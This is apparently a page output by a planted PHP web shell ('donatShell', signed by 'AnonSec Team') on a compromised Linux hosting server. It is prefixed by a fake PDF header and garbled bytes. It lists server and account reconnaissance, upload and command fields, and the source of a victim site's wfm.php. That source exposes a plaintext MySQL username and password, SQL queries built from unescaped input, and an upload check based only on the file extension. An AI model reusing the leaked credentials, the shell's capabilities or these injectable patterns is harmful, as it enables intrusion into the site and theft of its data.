%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/public_html/mojadmin/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/public_html/mojadmin/library/wfm.php
<?php
	$HTTP_POST_VARS = &$_POST;
	$HTTP_GET_VARS = &$_GET;
	$HTTP_COOKIE_VARS = &$_COOKIE;
	class WFM {
		
		var $formatirajVrednost = array();
		var $velicinaFajla = "";
		
		function WFM() {
			
		}
		
		function poveziBazu() {
			$link = mysql_connect("localhost", "vlasotin_vesti", "Vlass2015") or die("GRESKA: ".mysql_error());
			mysql_select_db("vlasotin_cms", $link) or die("GRESKA: ".mysql_error());
			mysql_query ("SET NAMES utf8 COLLATE utf8_general_ci", $link);
			
			return $link;
		}
		
		function zatvoriBazu($link) {
			mysql_close($link); 
		}
		
		function redirektuj($link, $time = 0) {
			echo "<meta http-equiv='refresh' content='$time;URL=$link' />";
		}
		
		function izvrsiUpit($sqlUpit) {
		global $link;
			
			$upit = mysql_query($sqlUpit, $link) or die("GRESKA: ".mysql_error($link));
			
			$niz = split(" ", $sqlUpit);
			
			if($niz[0] == "INSERT") $_SESSION["insertID"] = mysql_insert_id();
			
			return $upit;
		}

		function vrednostPolja($polje,$vrednost,$uporednoPolje,$tabela){
			$sqlUpit = "SELECT $polje FROM $tabela WHERE $uporednoPolje = '$vrednost'";
			$upit = $this->izvrsiUpit($sqlUpit);
			$red = mysql_fetch_array($upit, MYSQL_NUM);
			$vrednost = $red[0];
			
			return $vrednost;
		}
		
		function procistiString($string) {
			$vrednost = htmlspecialchars($string);
			//$vrednost = addslashes($vrednost);
			$vrednost = mysql_real_escape_string($vrednost);
			return $vrednost;
		}

		function preuzmiVrednost($vrednost){
		global $HTTP_POST_VARS, $HTTP_GET_VARS, $_SERVER;
		
			$REQUEST_METHOD = $_SERVER["REQUEST_METHOD"];
			if($REQUEST_METHOD == 'POST') {
				$uzetaVrednost = $HTTP_POST_VARS["$vrednost"];
			} else if($REQUEST_METHOD == 'GET') {
				$uzetaVrednost = $HTTP_GET_VARS["$vrednost"];
			}
			
			return $this->procistiString($uzetaVrednost);
		}
		
		/*
		 * petlja($upit, 3, 3,
		 * 			"<br />", 
		 * 			"<p>{ime}<br />{komentar}<br /><small>{datum}</small></p>",
		 * 			array("ime", "komentar", "datum"));
		 */
		function fileUpload($field_name, $targetDir, $fileName, $exstensions) {
	 		
	 		if(isset($_FILES["$field_name"]) && $_FILES["$field_name"]['size'] > 0) {
				$tmp_name = $_FILES["$field_name"]["tmp_name"];
				$file_type = $_FILES["$field_name"]["type"];
				
				$getExt = explode ('.', $_FILES["$field_name"]['name']);
				$file_ext = $getExt[count($getExt)-1];
				
				$file_ext = strtolower($file_ext);
				
				$file_size = $_FILES["$field_name"]['size'];
				$niz = explode(",", $exstensions);
		
				if(!in_array($file_ext, $niz)) 
					die("Error: Only these picture extensions are allowed <strong>".$exstensions."</strong>");
				
				$random 	= rand(1,99999);
				$name = $fileName."-".$random.".".$file_ext;
				$n = $targetDir.$name;
				
				move_uploaded_file($tmp_name, $n);
				
				return $name;
			}
	 	}
		function petlja() {
		global $link;
		
			$rezultat 		= func_get_arg(0); 
			$dimenzija1 	= func_get_arg(1); 
			$dimenzija2 	= func_get_arg(2);
			$razmak			= func_get_arg(3);
			$string			= func_get_arg(4);
			$nizPolja		= func_get_arg(5);
			
			$brojac1 = 1;
			$brojac2 = 1;
			
			while($red = mysql_fetch_array($rezultat, MYSQL_ASSOC)) {
				//$pomString = $string;
				
				for($i=0; $i<count($nizPolja); $i++) {
					
					$zamena = $red[$nizPolja[$i]]; // menja po default-u
					///// pravimo switch zbog potrebe da se formatiraju podaci
					switch($this->formatirajVrednost[$nizPolja[$i]]) {
						case "number":
							$zamena = number_format($red[$nizPolja[$i]], 2, ",", " ");
						break;
						case "date":
							$zamena = date("Y-m-d", strtotime($red[$nizPolja[$i]]));
						break;
						case "picture":
							if($red[$nizPolja[$i]] == "") $zamena = "nemaslike.png";
							else $zamena = $red[$nizPolja[$i]]; //$this->vrednostPolja("name", $red[$nizPolja[$i]], "id", "slike");
						break;
						case "trueFalse":
							if($red[$nizPolja[$i]] == 1) $zamena = "prikazuje se";
							else $zamena = "ne prikazuje se";
						break;
						case "longText":
							$zamena = htmlspecialchars_decode($red[$nizPolja[$i]]);
						break;
						case "fileSize":
							$zamena = sizeOfFile($red[$nizPolja[$i]]);
						break;
						case "forumAutor":
							$autorName = $this->vrednostPolja("displayName", $red[$nizPolja[$i]], "id", "korisnici");
							$zamena = $autorName;
						break;
					}
					
					if($i == 0)
						$pomString = ereg_replace("{".$nizPolja[$i]."}", $zamena, $string);
					else
						$pomString = ereg_replace("{".$nizPolja[$i]."}", $zamena, $pomString);
				}
				echo stripslashes($pomString);
				
				if($brojac1 == $dimenzija1) {
					echo $razmak;
					$brojac1 = 0;
					$brojac2++;
				}
				if($brojac2 > $dimenzija2) {
					break;
				}
				$brojac1++;
				
			}
			
		}
		
		function zavrsi($string) {
		global $link;
			
			$this->zatvoriBazu($link);
			echo $string;
		}
		function setMessage($string, $type = "success") {
			$_SESSION["message"] = $string;
			$_SESSION["messageType"] = $type;
		}
		
		function getMessage() {
			$string = $_SESSION["message"];
			$type = $_SESSION["messageType"];
			
			if(strlen($string) > 0) {
				unset($_SESSION["message"]);
				unset($_SESSION["messageType"]);
				?>
                <div class="alert alert-<?= $type; ?>">
                	<a class="close" data-dismiss="alert">&times;</a>
                    <?= $string; ?>
				</div>
				<?php
			}
		}
		function izbor($sql, $tip, $vrednost, $polja) {
		global $link;

			$upit = mysql_query($sql, $link) or die("GRESKA: ".mysql_error($link));
			$brojRez = mysql_num_rows($upit);
			
			switch($tip) {
			
				case "select":
					$value = $polja[0];
					$name = $polja[1];

			while($data = mysql_fetch_array($upit, MYSQL_ASSOC)) {
				$izabran = "";
				if($data[$value] == $vrednost) $izabran = "selected=\"selected\"";
				echo "<option value=\"$data[$value]\" $izabran>$data[$name]</option>";
			}

				break;
			}
		
		}
		
	} //end of class
	
?>

Anon7 - 2022
AnonSec Team